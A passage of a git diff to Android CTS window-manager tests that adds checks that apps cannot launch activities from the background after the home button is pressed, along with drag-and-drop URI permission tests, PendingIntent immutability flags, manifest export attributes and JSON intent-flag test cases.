         "androidx.annotation_annotation",
+        "cts-wm-shared",
     ],
 
     sdk_version: "test_current",
diff --git a/tests/framework/base/windowmanager/app_base/src/android/server/wm/app/AbstractLifecycleLogActivity.java b/tests/framework/base/windowmanager/app_base/src/android/server/wm/app/AbstractLifecycleLogActivity.java
index 4ea73ac..1288672 100644
--- a/tests/framework/base/windowmanager/app_base/src/android/server/wm/app/AbstractLifecycleLogActivity.java
+++ b/tests/framework/base/windowmanager/app_base/src/android/server/wm/app/AbstractLifecycleLogActivity.java
@@ -93,10 +93,6 @@
         Log.i(getTag(), "onUserLeaveHint");
     }
 
-    protected final String getTag() {
-        return getClass().getSimpleName();
-    }
-
     protected void dumpConfiguration(Configuration config) {
         Log.i(getTag(), "Configuration: " + config);
         withTestJournalClient(client -> {
diff --git a/tests/framework/base/windowmanager/app_base/src/android/server/wm/app/TestActivity.java b/tests/framework/base/windowmanager/app_base/src/android/server/wm/app/TestActivity.java
index 5bb4fd1..e4203c5 100644
--- a/tests/framework/base/windowmanager/app_base/src/android/server/wm/app/TestActivity.java
+++ b/tests/framework/base/windowmanager/app_base/src/android/server/wm/app/TestActivity.java
@@ -33,6 +33,7 @@
 import android.os.Bundle;
 import android.os.Looper;
 import android.os.Parcelable;
+import android.util.Log;
 import android.view.animation.Animation;
 import android.view.animation.RotateAnimation;
 import android.widget.ProgressBar;
@@ -61,12 +62,12 @@
         }
 
         if (getIntent().hasExtra(EXTRA_NO_IDLE)) {
-            preventAcitivtyIdle();
+            preventActivityIdle();
         }
     }
 
     /** Starts a repeated animation on main thread to make its message queue non-empty. */
-    private void preventAcitivtyIdle() {
+    private void preventActivityIdle() {
         final ProgressBar progressBar = new ProgressBar(this);
         progressBar.setIndeterminate(true);
         setContentView(progressBar);
@@ -112,7 +113,13 @@
                 startActivities(Arrays.copyOf(intents, intents.length, Intent[].class));
                 break;
             case COMMAND_NAVIGATE_UP_TO:
-                navigateUpTo(data.getParcelable(EXTRA_INTENT));
+                final Intent intent = data.getParcelable(EXTRA_INTENT);
+                try {
+                    navigateUpTo(intent);
+                } catch (Exception e) {
+                    // Expected if the target activity in not exported with different uid.
+                    Log.w(getTag(), "Failed to navigateUpTo: " + intent, e);
+                }
                 break;
             default:
                 super.handleCommand(command, data);
diff --git a/tests/framework/base/windowmanager/backgroundactivity/Android.bp b/tests/framework/base/windowmanager/backgroundactivity/Android.bp
index 99578c9..484eb95 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/Android.bp
+++ b/tests/framework/base/windowmanager/backgroundactivity/Android.bp
@@ -27,6 +27,7 @@
     sdk_version: "test_current",
 
     static_libs: [
+        "androidx.appcompat_appcompat",
         "androidx.test.rules",
         "cts-wm-util",
         "cts-wm-app-base",
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AndroidTest.xml b/tests/framework/base/windowmanager/backgroundactivity/AndroidTest.xml
index d55515e..b5b1b88 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/AndroidTest.xml
+++ b/tests/framework/base/windowmanager/backgroundactivity/AndroidTest.xml
@@ -21,7 +21,6 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="install-arg" value="-t" />
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppA/AndroidManifest.xml b/tests/framework/base/windowmanager/backgroundactivity/AppA/AndroidManifest.xml
index eb156b6..c018000 100755
--- a/tests/framework/base/windowmanager/backgroundactivity/AppA/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppA/AndroidManifest.xml
@@ -16,37 +16,37 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.server.wm.backgroundactivity.appa">
+     package="android.server.wm.backgroundactivity.appa">
 
     <!-- To enable the app to start activities from the background. -->
-    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
 
     <application android:testOnly="true">
-        <receiver
-            android:name=".StartBackgroundActivityReceiver"
-            android:exported="true"/>
-        <receiver
-            android:name=".SendPendingIntentReceiver"
-            android:exported="true"/>
-        <receiver
-            android:name=".SimpleAdminReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <receiver android:name=".StartBackgroundActivityReceiver"
+             android:exported="true"/>
+        <receiver android:name=".SendPendingIntentReceiver"
+             android:exported="true"/>
+        <receiver android:name=".SimpleAdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
-        <activity
-            android:name=".ForegroundActivity"
-            android:taskAffinity=".am_cts_bg_task_a"
-            android:exported="true" />
-        <activity
-            android:name=".BackgroundActivity"
-            android:taskAffinity=".am_cts_bg_task_b"
-            android:exported="true" />
-        <activity
-            android:name=".SecondBackgroundActivity"
-            android:exported="true" />
+        <activity android:name=".ForegroundActivity"
+             android:taskAffinity=".am_cts_bg_task_a"
+             android:exported="true"/>
+        <activity android:name=".BackgroundActivity"
+             android:taskAffinity=".am_cts_bg_task_b"
+             android:exported="true"/>
+        <activity android:name=".SecondBackgroundActivity"
+             android:exported="true"/>
+        <activity android:name=".RelaunchingActivity"
+                  android:exported="true"/>
+        <activity android:name=".PipActivity"
+                  android:exported="true"
+                  android:supportsPictureInPicture="true"/>
     </application>
 </manifest>
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/PipActivity.java b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/PipActivity.java
new file mode 100644
index 0000000..11dd148
--- /dev/null
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/PipActivity.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.backgroundactivity.appa;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.content.Intent;
+import android.os.SystemClock;
+
+public class PipActivity extends Activity {
+
+    @Override
+    public void onPause() {
+        super.onPause();
+
+        enterPictureInPictureMode();
+
+        // Try to start background activity once it's onPause(), like after pressing home button.
+        final Intent intent = new Intent();
+        intent.setClass(this, BackgroundActivity.class);
+        startActivity(intent);
+
+        // Start activity again after 6s to ensure it's really blocked and can't be resumed.
+        new Thread() {
+            public void run() {
+                SystemClock.sleep(1000 * 6);
+                startActivity(intent);
+            }
+        }.start();
+    }
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/RelaunchingActivity.java b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/RelaunchingActivity.java
new file mode 100644
index 0000000..4c64105
--- /dev/null
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/RelaunchingActivity.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.backgroundactivity.appa;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.SystemClock;
+
+public class RelaunchingActivity extends Activity {
+
+    @Override
+    public void onPause() {
+        super.onPause();
+
+        // Try to start background activity once it's onPause(), like after pressing home button.
+        final Intent intent = new Intent();
+        intent.setClass(this, BackgroundActivity.class);
+        startActivity(intent);
+
+        // Start activity again after 6s to ensure it's really blocked and can't be resumed.
+        new Thread() {
+            public void run() {
+                SystemClock.sleep(1000 * 6);
+                startActivity(intent);
+            }
+        }.start();
+    }
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/SendPendingIntentReceiver.java b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/SendPendingIntentReceiver.java
index 7ec1cc9..c05b48f 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/SendPendingIntentReceiver.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/SendPendingIntentReceiver.java
@@ -55,14 +55,14 @@
             newIntent.putExtra(START_ACTIVITY_DELAY_MS_EXTRA, startActivityDelayMs);
             newIntent.putExtra(EVENT_NOTIFIER_EXTRA, eventNotifier);
             pendingIntent = PendingIntent.getBroadcast(context, 0,
-                    newIntent, PendingIntent.FLAG_UPDATE_CURRENT);
+                    newIntent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
         } else {
             // Create a pendingIntent to launch appA's BackgroundActivity
             Intent newIntent = new Intent();
             newIntent.setComponent(APP_A_BACKGROUND_ACTIVITY);
             newIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
             pendingIntent = PendingIntent.getActivity(context, 0,
-                    newIntent, PendingIntent.FLAG_UPDATE_CURRENT);
+                    newIntent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
         }
 
         // Send the pendingIntent to appB
diff --git a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
index 3cc589a..c9a0876 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
@@ -86,9 +86,18 @@
     private static final int ACTIVITY_FOCUS_TIMEOUT_MS = 3000;
     private static final String APP_A_PACKAGE_NAME = APP_A_FOREGROUND_ACTIVITY.getPackageName();
     private static final long ACTIVITY_BG_START_GRACE_PERIOD_MS = 10 * 1000;
+    private static final int ACTIVITY_START_TIMEOUT_MS = 5000;
+    private static final int ACTIVITY_NOT_RESUMED_TIMEOUT_MS = 5000;
 
     private static final String TEST_PACKAGE_APP_A = "android.server.wm.backgroundactivity.appa";
     private static final String TEST_PACKAGE_APP_B = "android.server.wm.backgroundactivity.appb";
+    public static final ComponentName APP_A_RELAUNCHING_ACTIVITY =
+            new ComponentName(TEST_PACKAGE_APP_A,
+                    "android.server.wm.backgroundactivity.appa.RelaunchingActivity");
+    public static final ComponentName APP_A_PIP_ACTIVITY =
+            new ComponentName(TEST_PACKAGE_APP_A,
+                    "android.server.wm.backgroundactivity.appa.PipActivity");
+    private static final String SHELL_PACKAGE = "com.android.shell";
 
     /**
      * Tests can be executed as soon as the device has booted. When that happens the broadcast queue
@@ -127,6 +136,7 @@
         stopTestPackage(TEST_PACKAGE_APP_A);
         stopTestPackage(TEST_PACKAGE_APP_B);
         AppOpsUtils.reset(APP_A_PACKAGE_NAME);
+        AppOpsUtils.reset(SHELL_PACKAGE);
     }
 
     @Test
@@ -141,6 +151,27 @@
     }
 
     @Test
+    public void testStartBgActivity_usingStartActivitiesFromBackgroundPermission()
+            throws Exception {
+        // Disable SAW app op for shell, since that can also allow starting activities from bg.
+        AppOpsUtils.setOpMode(SHELL_PACKAGE, "android:system_alert_window", MODE_ERRORED);
+
+        // Launch the activity via a shell command, this way the system doesn't have info on which
+        // app launched the activity and thus won't use instrumentation privileges to launch it. But
+        // the shell has the START_ACTIVITIES_FROM_BACKGROUND permission, so we expect it to
+        // succeed.
+        // See testBackgroundActivityBlocked() for a case where an app without the
+        // START_ACTIVITIES_FROM_BACKGROUND permission is blocked from launching the activity from
+        // the background.
+        launchActivity(APP_A_BACKGROUND_ACTIVITY);
+
+        // If the activity launches, it means the START_ACTIVITIES_FROM_BACKGROUND permission works.
+        assertEquals("Launched activity should be at the top",
+                ComponentNameUtils.getActivityName(APP_A_BACKGROUND_ACTIVITY),
+                mWmState.getTopActivityName(0));
+    }
+
+    @Test
     @FlakyTest(bugId = 155454710)
     public void testBackgroundActivityNotBlockedWithinGracePeriod() throws Exception {
         // Start AppA foreground activity
@@ -267,6 +298,35 @@
     }
 
     @Test
+    public void testActivityNotBlockedFromBgActivityInFgTask() {
+        // Launch Activity A, B in the same task with different processes.
+        final Intent intent = new Intent()
+                .setComponent(APP_A_FOREGROUND_ACTIVITY)
+                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(intent);
+        mWmState.waitForValidState(APP_A_FOREGROUND_ACTIVITY);
+        mContext.sendBroadcast(getLaunchActivitiesBroadcast(APP_B_FOREGROUND_ACTIVITY));
+        mWmState.waitForValidState(APP_B_FOREGROUND_ACTIVITY);
+        assertTaskStack(new ComponentName[]{APP_B_FOREGROUND_ACTIVITY, APP_A_FOREGROUND_ACTIVITY},
+                APP_A_FOREGROUND_ACTIVITY);
+
+        // Refresh last-stop-app-switch-time by returning to home and then make the task foreground.
+        pressHomeAndResumeAppSwitch();
+        mContext.startActivity(intent);
+        mWmState.waitForValidState(APP_B_FOREGROUND_ACTIVITY);
+        // Though process A is in background, it is in a visible Task (top is B) so it should be
+        // able to start activity successfully.
+        mContext.sendBroadcast(new Intent(ACTION_LAUNCH_BACKGROUND_ACTIVITIES)
+                .putExtra(LAUNCH_INTENTS_EXTRA, new Intent[]{ new Intent()
+                        .setComponent(APP_A_BACKGROUND_ACTIVITY)
+                        .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) }));
+        mWmState.waitForValidState(APP_A_BACKGROUND_ACTIVITY);
+        mWmState.assertFocusedActivity(
+                "The background activity must be able to launch from a visible task",
+                APP_A_BACKGROUND_ACTIVITY);
+    }
+
+    @Test
     @FlakyTest(bugId = 130800326)
     @Ignore  // TODO(b/145981637): Make this test work
     public void testActivityBlockedWhenForegroundActivityRestartsItself() throws Exception {
@@ -446,6 +506,78 @@
         assertTaskStack(new ComponentName[]{APP_A_BACKGROUND_ACTIVITY}, APP_A_BACKGROUND_ACTIVITY);
     }
 
+    @Test
+    public void testAppCannotStartBgActivityAfterHomeButton() throws Exception {
+
+        Intent intent = new Intent();
+        intent.setComponent(APP_A_RELAUNCHING_ACTIVITY);
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(intent);
+
+        assertTrue("Main activity not started", waitUntilForegroundChanged(
+                TEST_PACKAGE_APP_A, true, ACTIVITY_START_TIMEOUT_MS));
+
+        // Click home button, and test app activity onPause() will try to start a background
+        // activity, but we expect this will be blocked BAL logic in system, as app cannot start
+        // any background activity even within grace period after pressing home button.
+        pressHomeAndWaitHomeResumed();
+
+        assertActivityNotResumed();
+    }
+
+    // Check picture-in-picture(PIP) won't allow to start BAL after pressing home.
+    @Test
+    public void testPipCannotStartAfterHomeButton() throws Exception {
+
+        Intent intent = new Intent();
+        intent.setComponent(APP_A_PIP_ACTIVITY);
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(intent);
+
+        assertTrue("Pip activity not started", waitUntilForegroundChanged(
+                TEST_PACKAGE_APP_A, true, ACTIVITY_START_TIMEOUT_MS));
+
+        // Click home button, and test app activity onPause() will trigger pip window,
+        // test will will try to start background activity, but we expect the background activity
+        // will be blocked even the app has a visible pip window, as we do not allow background
+        // activity to be started after pressing home button.
+        pressHomeAndWaitHomeResumed();
+
+        assertActivityNotResumed();
+    }
+
+    private void pressHomeAndWaitHomeResumed() {
+        pressHomeButton();
+        mWmState.waitForHomeActivityVisible();
+    }
+
+    private boolean checkPackageResumed(String pkg) {
+        WindowManagerStateHelper helper = new WindowManagerStateHelper();
+        helper.computeState();
+        return ComponentName.unflattenFromString(
+                helper.getFocusedActivity()).getPackageName().equals(pkg);
+    }
+
+    // Return true if the state of the package is changed to target state.
+    private boolean waitUntilForegroundChanged(String targetPkg, boolean toBeResumed, int timeout)
+            throws Exception {
+        long startTime = System.currentTimeMillis();
+        while (checkPackageResumed(targetPkg) != toBeResumed) {
+            if (System.currentTimeMillis() - startTime < timeout) {
+                Thread.sleep(100);
+            } else {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    private void assertActivityNotResumed() throws Exception {
+        assertFalse("Test activity is resumed",
+                waitUntilForegroundChanged(TEST_PACKAGE_APP_A, true,
+                        ACTIVITY_NOT_RESUMED_TIMEOUT_MS));
+    }
+
     private Intent getLaunchActivitiesBroadcast(ComponentName... componentNames) {
         Intent broadcastIntent = new Intent(ACTION_LAUNCH_BACKGROUND_ACTIVITIES);
         Intent[] intents = Stream.of(componentNames)
diff --git a/tests/framework/base/windowmanager/dndsourceapp/AndroidManifest.xml b/tests/framework/base/windowmanager/dndsourceapp/AndroidManifest.xml
index c044981..bb2a1b3 100644
--- a/tests/framework/base/windowmanager/dndsourceapp/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/dndsourceapp/AndroidManifest.xml
@@ -15,11 +15,12 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.server.wm.dndsourceapp"
-        android:targetSandboxVersion="2">
+     package="android.server.wm.dndsourceapp"
+     android:targetSandboxVersion="2">
     <application android:label="CtsDnDSource">
         <activity android:name="android.server.wm.dndsourceapp.DragSource"
-                android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout">
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.LAUNCHER"/>
@@ -27,7 +28,7 @@
         </activity>
 
         <provider android:name="android.server.wm.dndsourceapp.DragSourceContentProvider"
-                  android:authorities="android.server.wm.dndsource.contentprovider"
-                  android:grantUriPermissions="true"/>
+             android:authorities="android.server.wm.dndsource.contentprovider"
+             android:grantUriPermissions="true"/>
     </application>
 </manifest>
diff --git a/tests/framework/base/windowmanager/dndtargetapp/AndroidManifest.xml b/tests/framework/base/windowmanager/dndtargetapp/AndroidManifest.xml
index 7d50b70..6cdddae 100644
--- a/tests/framework/base/windowmanager/dndtargetapp/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/dndtargetapp/AndroidManifest.xml
@@ -15,11 +15,12 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.server.wm.dndtargetapp"
-        android:targetSandboxVersion="2">
+     package="android.server.wm.dndtargetapp"
+     android:targetSandboxVersion="2">
     <application android:label="CtsDnDTarget">
         <activity android:name="android.server.wm.dndtargetapp.DropTarget"
-                android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout">
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.LAUNCHER"/>
diff --git a/tests/framework/base/windowmanager/dndtargetapp/res/layout/target_activity.xml b/tests/framework/base/windowmanager/dndtargetapp/res/layout/target_activity.xml
index ddcdf33..731bfb1 100644
--- a/tests/framework/base/windowmanager/dndtargetapp/res/layout/target_activity.xml
+++ b/tests/framework/base/windowmanager/dndtargetapp/res/layout/target_activity.xml
@@ -25,4 +25,24 @@
             android:layout_height="match_parent"
             android:gravity="center">
     </TextView>
+    <EditText
+        android:id="@+id/editable_drag_target"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:gravity="center"
+        android:visibility="gone">
+    </EditText>
+    <LinearLayout
+        android:id="@+id/linearlayout_drag_target"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:gravity="center"
+        android:visibility="gone">
+        <TextView
+            android:id="@+id/textview_in_drag_target"
+            android:layout_width="match_parent"
+            android:layout_height="match_parent"
+            android:gravity="center">
+        </TextView>
+    </LinearLayout>
 </LinearLayout>
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/dndtargetapp/src/android/server/wm/dndtargetapp/DropTarget.java b/tests/framework/base/windowmanager/dndtargetapp/src/android/server/wm/dndtargetapp/DropTarget.java
index 0500ef4..af4fd00 100644
--- a/tests/framework/base/windowmanager/dndtargetapp/src/android/server/wm/dndtargetapp/DropTarget.java
+++ b/tests/framework/base/windowmanager/dndtargetapp/src/android/server/wm/dndtargetapp/DropTarget.java
@@ -25,9 +25,12 @@
 import android.os.Bundle;
 import android.os.PersistableBundle;
 import android.server.wm.TestLogClient;
+import android.view.ContentInfo;
 import android.view.DragAndDropPermissions;
 import android.view.DragEvent;
+import android.view.OnReceiveContentListener;
 import android.view.View;
+import android.widget.LinearLayout;
 import android.widget.TextView;
 
 public class DropTarget extends Activity {
@@ -66,6 +69,12 @@
         setUpDropTarget("request_write", new OnDragUriWriteListener());
         setUpDropTarget("request_read_nested", new OnDragUriReadPrefixListener());
         setUpDropTarget("request_take_persistable", new OnDragUriTakePersistableListener());
+        setUpDropTarget("textview_on_receive_content_listener",
+                new UriReadOnReceiveContentListener());
+        setUpDropTarget("edittext_on_receive_content_listener",
+                new UriReadOnReceiveContentListener());
+        setUpDropTarget("linearlayout_on_receive_content_listener",
+                new UriReadOnReceiveContentListener());
     }
 
     private void setUpDropTarget(String mode, OnDragUriListener listener) {
@@ -77,6 +86,35 @@
         mTextView.setOnDragListener(listener);
     }
 
+    private void setUpDropTarget(String mode, OnReceiveContentListener listener) {
+        if (!mode.equals(getIntent().getStringExtra("mode"))) {
+            return;
+        }
+        TextView defaultDropTarget = findViewById(R.id.drag_target);
+        String typeOfViewToTest = mode.substring(0, mode.indexOf('_'));
+        View dropTarget;
+        switch (typeOfViewToTest) {
+            case "textview":
+                mTextView = defaultDropTarget;
+                dropTarget = mTextView;
+                break;
+            case "edittext":
+                defaultDropTarget.setVisibility(View.GONE);
+                mTextView = findViewById(R.id.editable_drag_target);
+                dropTarget = mTextView;
+                break;
+            case "linearlayout":
+                defaultDropTarget.setVisibility(View.GONE);
+                mTextView = findViewById(R.id.textview_in_drag_target);
+                dropTarget = findViewById(R.id.linearlayout_drag_target);
+                break;
+            default: throw new IllegalArgumentException("Invalid mode: " + mode);
+        }
+        mTextView.setText(mode);
+        dropTarget.setVisibility(View.VISIBLE);
+        dropTarget.setOnReceiveContentListener(new String[] {"text/*", "image/*"}, listener);
+    }
+
     private String checkExtraValue(DragEvent event) {
         PersistableBundle extras = event.getClipDescription().getExtras();
         if (extras == null) {
@@ -306,4 +344,33 @@
             return RESULT_OK;
         }
     }
+
+    private class UriReadOnReceiveContentListener implements OnReceiveContentListener {
+        @Override
+        public ContentInfo onReceiveContent(View view, ContentInfo payload) {
+            String result;
+            try {
+                result = accessContent(payload.getClip().getItemAt(0).getUri());
+            } catch (SecurityException e) {
+                result = RESULT_EXCEPTION;
+                logResult(RESULT_KEY_DETAILS, e.getMessage());
+            }
+            logResult(RESULT_KEY_DROP_RESULT, result);
+            return null;
+        }
+
+        private String accessContent(Uri uri) {
+            try (Cursor cursor = getContentResolver().query(uri, null, null, null, null)) {
+                if (cursor == null) {
+                    return "Null Cursor";
+                }
+                cursor.moveToPosition(0);
+                String value = cursor.getString(0);
+                if (!MAGIC_VALUE.equals(value)) {
+                    return "Wrong value: " + value;
+                }
+                return RESULT_OK;
+            }
+        }
+    }
 }
diff --git a/tests/framework/base/windowmanager/dndtargetappsdk23/AndroidManifest.xml b/tests/framework/base/windowmanager/dndtargetappsdk23/AndroidManifest.xml
index d10a548..106415c 100644
--- a/tests/framework/base/windowmanager/dndtargetappsdk23/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/dndtargetappsdk23/AndroidManifest.xml
@@ -15,9 +15,10 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.server.wm.dndtargetappsdk23">
+     package="android.server.wm.dndtargetappsdk23">
     <application android:label="CtsDnDTarget">
-        <activity android:name="android.server.wm.dndtargetappsdk23.DropTarget">
+        <activity android:name="android.server.wm.dndtargetappsdk23.DropTarget"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.LAUNCHER"/>
diff --git a/tests/framework/base/windowmanager/intent_tests/clearCases/test-no-history-1.json b/tests/framework/base/windowmanager/intent_tests/clearCases/test-no-history-1.json
new file mode 100644
index 0000000..5e90c3f
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/clearCases/test-no-history-1.json
@@ -0,0 +1,44 @@
+{
+    "setup": {
+        "initialIntents": [
+            {
+                "flags": "FLAG_ACTIVITY_NO_HISTORY | FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$RegularActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ],
+        "act": [
+            {
+                "flags": "",
+                "class": "android.server.wm.intent.Activities$SingleTopActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ]
+    },
+    "initialState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            }
+        ]
+    },
+    "endState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleTopActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            }
+        ]
+    }
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/intent_tests/clearCases/test-no-history-2.json b/tests/framework/base/windowmanager/intent_tests/clearCases/test-no-history-2.json
new file mode 100644
index 0000000..0e6e758
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/clearCases/test-no-history-2.json
@@ -0,0 +1,58 @@
+{
+    "setup": {
+        "initialIntents": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$RegularActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            },
+            {
+                "flags": "FLAG_ACTIVITY_NO_HISTORY",
+                "class": "android.server.wm.intent.Activities$SingleTopActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ],
+        "act": [
+            {
+                "flags": "",
+                "class": "android.server.wm.intent.Activities$RegularActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ]
+    },
+    "initialState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleTopActivity",
+                        "state": "RESUMED"
+                    },
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
+                        "state": "STOPPED"
+                    }
+                ]
+            }
+        ]
+    },
+    "endState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
+                        "state": "RESUMED"
+                    },
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
+                        "state": "STOPPED"
+                    }
+                ]
+            }
+        ]
+    }
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/intent_tests/forResult/test-10.json b/tests/framework/base/windowmanager/intent_tests/forResult/test-10.json
new file mode 100644
index 0000000..a971364
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/forResult/test-10.json
@@ -0,0 +1,49 @@
+{
+    "setup": {
+        "initialIntents": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$TaskAffinity1Activity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ],
+        "act": [
+            {
+                "flags": "",
+                "class": "android.server.wm.intent.Activities$SingleInstanceActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": true
+            }
+        ]
+    },
+    "initialState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$TaskAffinity1Activity",
+                        "state": "RESUMED"
+                    }
+                ]
+            }
+        ]
+    },
+    "endState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleInstanceActivity",
+                        "state": "RESUMED"
+                    },
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$TaskAffinity1Activity",
+                        "state": "STOPPED"
+                    }
+                ]
+            }
+        ]
+
+    }
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/intent_tests/forResult/test-11.json b/tests/framework/base/windowmanager/intent_tests/forResult/test-11.json
new file mode 100644
index 0000000..eeb7b4f
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/forResult/test-11.json
